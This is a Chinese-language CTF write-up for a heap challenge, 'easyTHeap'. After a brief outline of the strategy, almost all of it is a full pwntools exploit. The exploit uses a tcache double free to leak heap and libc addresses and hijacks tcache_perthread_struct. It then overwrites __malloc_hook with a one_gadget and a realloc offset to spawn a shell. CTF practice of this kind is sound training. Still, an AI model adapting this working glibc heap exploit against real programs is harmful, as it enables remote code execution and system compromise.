控制 tcache_perthread_struct
利用思路
tcache 直接泄漏堆地址劫持 tcache_perthread_struct,修改 counts,接下来 free 进入 unsorted bin 泄漏 libc 地址,继续修改 entry 字段到 realoc,配合 realloc 调节栈帧 getshell。
完整exp
# -*- coding: utf-8 -*-
import sys
import os
import binascii
from pwn import *
from ctypes import *
context.log_level = 'debug'
binary = './vn_pwn_easyTHeap_1'
elf = ELF('./vn_pwn_easyTHeap_1')
libc = elf.libc
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary
# shell = ssh(host='node3.buuoj.cn', user='CTFMan', port=28387, password='guest')
DEBUG = 0
if (DEBUG == 0):
p = process(binary)
elif (DEBUG == 1):
host = "node2.hackingfor.fun"
port = 39964
p = remote(host,port)
else :
host = "node3.buuoj.cn"
port = 28387
user = "CTFMan"
passwd = "guest"
p = ssh(host,port,user,passwd)
def dbg():
gdb.attach(p)
pause()
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = "choice: "
def cmd(i):
ru(menu)
sl(str(i))
def add(size):
cmd(1)
sla("size?", str(size))
def edit(idx,content):
cmd(2)
sla("idx?", str(idx))
sa("content:", content)
def show(idx):
cmd(3)
sla("idx?", str(idx))
def dele(idx):
cmd(4)
sla("idx?", str(idx))
add(0x90)
add(0x90)
dele(0)
dele(0)
show(0)
heap_base = u64(p.recv(6).ljust(8, '\x00')) - 0x260
info("heap_base", heap_base)
add(0x90) #2
edit(2, p64(heap_base + 0x10))
add(0x90) #3
add(0x90) #4
edit(4, p64(0x0707070707070707)*2)
dele(3)
show(3)
libc_base = l64() - libc.sym['__malloc_hook'] - 0x70
info("libc_base", libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
realloc_addr = libc_base + libc.sym['__libc_realloc']
og = libc_base + 0xdeed2
edit(4, p64(0)*16 + p64(malloc_hook-8))
add(0x90) #5
edit(5, p64(og) + p64(realloc_addr + 8))
# dbg()
'''
0x41612 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x41666 execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xdeed2 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
cmd(1)
sla("size?", str(0x10))
ia()